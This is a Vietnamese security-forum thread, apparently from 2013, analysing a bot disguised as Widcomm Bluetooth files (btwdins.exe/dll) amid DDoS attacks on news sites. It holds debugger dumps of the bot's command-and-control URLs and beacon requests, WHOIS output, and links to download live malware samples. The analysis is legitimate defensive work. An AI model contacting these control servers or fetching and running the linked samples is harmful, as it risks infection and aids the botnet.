canh_nguyen wrote:

Anh LeVuHoang: Landing page là trang nào thế ạ  

Landing page?
Ở đây Landing là: Land (mảnh đất, vùng đất...) + ing. Landing nghĩa là đáp xuống , hạ xuống , đi đến một vùng đất, mảnh đất nào đó. Máy bay hạ cánh là máy bay landing.

Còn trong công nghệ web thì landing page được hiểu là page hay URL đầu tiên mà các người truy cập web (visitor) được dẫn đến khi họ nhấp vào một link nào đó.
Trong trường hợp vietnamnet.vn thì quá trình sẽ là:
Khi người truy cập nhấp vào domain vietnamnet.vn, thay vì họ sẽ đươc dẫn đến trang chủ (trang mở đầu- có dung lượng download về máy người truy cập là khoảng 2.56 MB- không phải là khoảng 156 KB đâu nhé LeVuHoang ạ), như thường lệ, thì họ lại được dẫn đến 1 trang-URL mới tạo, có đia chỉ thí dụ là:
http://vietnamnet.vn/chkdd.html?vnnd=1297836801.11b2975ef912f5070da474aa6f58a8df (số và chữ của đuôi thay đổi tại mỗi lần truy cập)
Trang mới tạo nói trên chính là landing page.

Trong (source code) trang mới tạo này có nhúng một JavaScript (text JS) làm nhiệm vụ kiểm tra cookies của các browser của các user.
Như thế đấy.
Các bạn có muốn "xem kỹ" JavaScript này không? 

canh_nguyen wrote:

Anh LeVuHoang: Landing page là trang nào thế ạ  

Landing page?
Ở đây Landing là: Land (mảnh đất, vùng đất...) + ing. Landing nghĩa là đáp xuống , hạ xuống , đi đến một vùng đất, mảnh đất nào đó. Máy bay hạ cánh là máy bay landing.

Còn trong công nghệ web thì landing page được hiểu là page hay URL đầu tiên mà các người truy cập web (visitor) được dẫn đến khi họ nhấp vào một link nào đó.
Trong trường hợp vietnamnet.vn thì quá trình sẽ là:
Khi người truy cập nhấp vào domain vietnamnet.vn, thay vì họ sẽ đươc dẫn đến trang chủ (trang mở đầu- có dung lượng download về máy người truy cập là khoảng 2.56 MB- không phải là khoảng 156 KB đâu nhé LeVuHoang ạ), như thường lệ, thì họ lại được dẫn đến 1 trang-URL mới tạo, có đia chỉ thí dụ là:
http://vietnamnet.vn/chkdd.html?vnnd=1297836801.11b2975ef912f5070da474aa6f58a8df (số và chữ của đuôi thay đổi tại mỗi lần truy cập)
Trang mới tạo nói trên chính là landing page.

Trong (source code) trang mới tạo này có nhúng một JavaScript (text JS) làm nhiệm vụ kiểm tra cookies của các browser của các user.
Như thế đấy.
Các bạn có muốn "xem kỹ" JavaScript này không? 

An error occurred.

Sorry, the page you are looking for is currently unavailable.
Please try again later.

If you are the system administrator of this resource then you should check the error log for details.

Faithfully yours, nginx. 

Có vẻ Vietnamnet lại đang bị DDoS:

An error occurred.

Sorry, the page you are looking for is currently unavailable.
Please try again later.

If you are the system administrator of this resource then you should check the error log for details.

Faithfully yours, nginx. 

 

"Ngày hôm qua 4/7, trên các trang diễn đàn và mạng xã hội như Facebook đã lan truyền thông tin về việc các trang báo điện tử lớn như Dantri, Vietnamnet, Tuổi Trẻ… đang bị tấn công từ chối dịch vụ với cường độ lớn khiến người dùng khó truy cập. Đến chiều ngày 5/7, khi phóng viên ICTnews truy cập vào trang web Dantri và Tuổi Trẻ thì đều gặp thông báo "Service Unavailable". Còn Vietnamnet thì việc tải trang web rất chậm và phải rất khó khăn thì mới có thể truy cập thành công.

Trao đổi với phóng viên ICTnews, đại diện các báo Vietnamnet, Dantri và Tuổi Trẻ cho biết, họ đang tiến hành tìm hiểu nguyên nhân sự việc và sẽ sớm thông báo trong thời gian tới.

Tuy nhiên, một số chuyên gia an ninh mạng cho rằng, có nhiều dấu hiệu cho thấy, đang có một cuộc tấn công từ chối dịch vụ nhắm vào các báo điện tử lớn ở Việt Nam. Một nguồn tin riêng của ICTnews cho biết, lượng truy cập báo điện tử Dantri vào ban ngày gấp khoảng 40 lần và ban đêm lên tới 100 lần so với những ngày trước đó. .........." 

Mình cung cấp thêm thông tin về mẫu mới khác với mẫu bác PXMMRF đã đưa.

đây là file bị dính.

http://www.mediafire.com/?yj4zbhn528zlve1,f0jess00xhan4nj

đây là file capture gói tin trong thời gian ngắn.

http://www.mediafire.com/?yj4zbhn528zlve1,f0jess00xhan4nj

và có vẻ như IP 91.109.24.149 là một trong những IP đứng sau

 

Bạn 1visao và bạn halh có thể zip tất cả các file trong thư mục Windows\Prefetch của máy bị dính btwdins.exe và btwdins.dll lên giúp anh em HVA được không.
Phân tích các prefetch files có thể tìm ra nguồn gốc lây nhiễm con bot này. 

CPU Stack
Address Value ASCII Comments
00DAE888 |00AF4FE0 àO¯. ; UNICODE "80"
00DAE88C |00DAE8F8 øèÚ.
00DAE890 \1000A1AC ¬¡. ; RETURN from WS2_32.getaddrinfo to btwdins_dll.1000A1AC
00DAE894 /00DAE94C LéÚ. ; ASCII "media.bulkweb.org"
00DAE898 |00DAFD50 PýÚ. ; ASCII "80"
00DAE89C |00DAE8B4 ´èÚ.
00DAE8A0 |00DAE924 $éÚ.
00DAE8A4 |89144D4F OM‰
00DAE8A8 |0016E868 hè. ; ASCII "http://media.bulkweb.org/search.thn"

CPU Stack
Address Value ASCII Comments
00DAFE7C \1001794B Ky
 ; RETURN from btwdins_dll.1000F8B0 to btwdins_dll.1001794B
00DAFE80 /0016E5D0 Ðå. ; ASCII "http://media.bulkweb.org/search.thn"
00DAFE84 |0016EA28 (ê. ; ASCII "GET /search.thn HTTP/1.1
Host: media.bulkweb.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.3.13) Gecko/20101203 Firefox/3.6.13

"
...
00DAFE98 |00CA20F0 ð Ê. ; ASCII "http://media.bulkweb.org/search.thn"
...
00DAFEB8 |0016E6C0 Àæ. ; ASCII "http://media.bulkweb.org/view.thn"
00DAFEBC |0016E760 `ç. ; ASCII "http://lovenet.contbiz.com/view.thn"
00DAFEC0 |0016E7B0 °ç. ; ASCII "GET {PATH} HTTP/1.1
Host: {HOST}
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.3.13) Gecko/20101203 Firefox/3.6.13

"
00DAFEC4 |0016E710 ç. ; ASCII "http://speak.checknik.com/view.thn"
00DAFEC8 |0016E620 æ. ; ASCII "http://speak.checknik.com/search.thn"
00DAFECC |0016E5D0 Ðå. ; ASCII "http://media.bulkweb.org/search.thn"
00DAFED0 |0016E670 pæ. ; ASCII "http://lovenet.contbiz.com/search.thn"
...
00DAFEF4 |0016EB28 (ë. ; ASCII "GET /view.thn HTTP/1.1
Host: media.bulkweb.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.3.13) Gecko/20101203 Firefox/3.6.13

"
00DAFEF8 |0016E7B0 °ç. ; ASCII "GET {PATH} HTTP/1.1
Host: {HOST}
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.3.13) Gecko/20101203 Firefox/3.6.13

"
00DAFEFC |0016E7B0 °ç. ; ASCII "GET {PATH} HTTP/1.1
Host: {HOST}
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.3.13) Gecko/20101203 Firefox/3.6.13

"
00DAFF00 |0016EA28 (ê. ; ASCII "GET /search.thn HTTP/1.1
Host: media.bulkweb.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.3.13) Gecko/20101203 Firefox/3.6.13

"
00DAFF04 |0016E7B0 °ç. ; ASCII "GET {PATH} HTTP/1.1
Host: {HOST}
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.3.13) Gecko/20101203 Firefox/3.6.13

"
00DAFF08 |0016E7B0 °ç. ; ASCII "GET {PATH} HTTP/1.1
Host: {HOST}
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.3.13) Gecko/20101203 Firefox/3.6.13

"
00DAFF0C |0016E5D0 Ðå. ; ASCII "http://media.bulkweb.org/search.thn"
00DAFF10 |0016E620 æ. ; ASCII "http://speak.checknik.com/search.thn"
00DAFF14 |0016E670 pæ. ; ASCII "http://lovenet.contbiz.com/search.thn"
00DAFF18 |0016E6C0 Àæ. ; ASCII "http://media.bulkweb.org/view.thn"
00DAFF1C |0016E710 ç. ; ASCII "http://speak.checknik.com/view.thn"
00DAFF20 |0016E760 `ç. ; ASCII "http://lovenet.contbiz.com/view.thn"

CPU Disasm
Address Hex dump Command Comments
1000A1A5 52 PUSH EDX
1000A1A6 FF15 E8910410 CALL DWORD PTR [<&WS2_32.getaddrinfo>] 

http://lovenet.contbiz.com/search.thn
http://lovenet.contbiz.com/view.thn
http://media.bulkweb.org/search.thn
http://media.bulkweb.org/view.thn
http://speak.checknik.com/search.thn
http://speak.checknik.com/view.thn
 

Nhưng bây giờ nó đã không còn gì nữa rồi, có lẽ đã được tắt.
 

HTTP/1.1 200 OK
Server: Abyss
Date: Mon, 15 Jul 2013 13:43:42 GMT
Content-Type: application/octet-stream
Content-Length: 406
Last-Modified: Mon, 15 Jul 2013 07:45:18 GMT
Connection: keep-alive
Accept-Ranges: bytes 

tìm google về các host trên cũng chẳng thấy thông tin gì.
 

$ whois $(dig +short speak.checknik.com)
% This is the RIPE Database query service.
% The objects are in RPSL format.
%
% The RIPE Database is subject to Terms and Conditions.
% See http://www.ripe.net/db/support/db-terms-conditions.pdf

% Note: this output has been filtered.
% To receive output for a database update, use the "-B" flag.

% Information related to '91.109.24.0 - 91.109.31.255'

% Abuse contact for '91.109.24.0 - 91.109.31.255' is 'abuse@leaseweb.de'

inetnum: 91.109.24.0 - 91.109.31.255
netname: NETDIRECT-NET
descr: Leaseweb Germany GmbH (previously netdirekt e. K.)
country: DE
admin-c: LSWG-RIPE
tech-c: LSWG-RIPE
status: ASSIGNED PA
mnt-by: NETDIRECT-MNT
mnt-lower: NETDIRECT-MNT
mnt-routes: NETDIRECT-MNT
source: RIPE # Filtered

person: RIPE Mann
address: Kleyerstrasse 79 / Tor 13
address: 60326 Frankfurt am Main
address: Germany
phone: +49 69 90556880
fax-no: +49 69 9055688-22
abuse-mailbox: abuse@leaseweb.de
nic-hdl: LSWG-RIPE
mnt-by: OCOM-MNT
source: RIPE # Filtered

% Information related to '91.109.16.0/20AS16265'

route: 91.109.16.0/20
descr: ORG-nA8-RIPE
origin: AS16265
org: ORG-nA8-RIPE
mnt-by: NETDIRECT-MNT
source: RIPE # Filtered

organisation: ORG-nA8-RIPE
org-name: Leaseweb Germany GmbH
org-type: LIR
address: Leaseweb Germany GmbH Kleyer Strasse 79 / Tor 13 60326 Frankfurt Germany
phone: +496990556880
fax-no: +4969905568822
mnt-ref: NETDIRECT-MNT
mnt-ref: RIPE-NCC-HM-MNT
mnt-by: RIPE-NCC-HM-MNT
admin-c: LSWG-RIPE
admin-c: GJ907-RIPE
admin-c: SPW1-RIPE
abuse-c: LWGA-RIPE
source: RIPE # Filtered

% This query was served by the RIPE Database Query Service version 1.66.3 (WHOIS3) 

http://lovenet.contbiz.com/search.thn
http://lovenet.contbiz.com/view.thn
http://media.bulkweb.org/search.thn
http://media.bulkweb.org/view.thn
http://speak.checknik.com/search.thn
http://speak.checknik.com/view.thn
 

quygia128 wrote:

Nhưng bây giờ nó đã không còn gì nữa rồi, có lẽ đã được tắt.
 

`http://speak.checknik.com/search.thn` vẫn còn đấy bạn: http://www.mediafire.com/download/r93ry0lu4c7axjo/search.thn

.......................

- Web server lạ gớm
- File này mới được modified sáng nay để bắt đầu một chiến dịch mới

quygia128 wrote:

tìm google về các host trên cũng chẳng thấy thông tin gì.
 

.............................
 

Hiện giờ theo Dynamic Analysis thì có 3 C&C server
speak.checknik.com ( còn sống ) 13/5/2013
media.bulkweb.org ( đã tắt ) đăng ký ngày 13/5/2013
lovenet.contbiz.com ( đã tắt ) đăng ký ngày 18/5/2013

Cả 3 đều dùng clouddns , đặc biệt thằng checknik.com đang dùng thêm he.net
DNS1: ns1.cloudns.net
DNS2: ns2.cloudns.net
DNS3: ns2.he.net
DNS4: ns3.he.net
DNS5: ns4.he.net
Thuộc Hurrican Electric http://he.net/about_us.html công ty này có tiền sử chứa chấp mạng botnet Andromeda của đám hacker Nga :v 

Do nó Sleep (ngủ) tới gần chục phúc đó anh PXM.
2 1visao: còn file btwdins.exe.cfg trong file zip, tại sao bạn xoá đi vậy ?
Trong thư mục Widcomm đó có 3 file: .exe, .dll, .cfg. Bạn đã zip hết thư mục đó lại, sau đó bạn lại xoá file .cfg đi.
Bạn đang làm ở cơ quan nào thế ?

Bạn dùng tcpview và msconfig để xem, kết luận btwdins.* (lúc 12g trưa) là mèo què, sau đó bạn chạy 7zip để nén lại vào lúc 3g chiều (ngày 12/07). Sau đó bạn xoá file .cfg đi ? Chi vậy ? 

File đó em cũng down về từ 1visao mà, phân tích prefetch file cậu ta gởi mới thấy còn file .cfg nữa mà cậu ta xoá đi.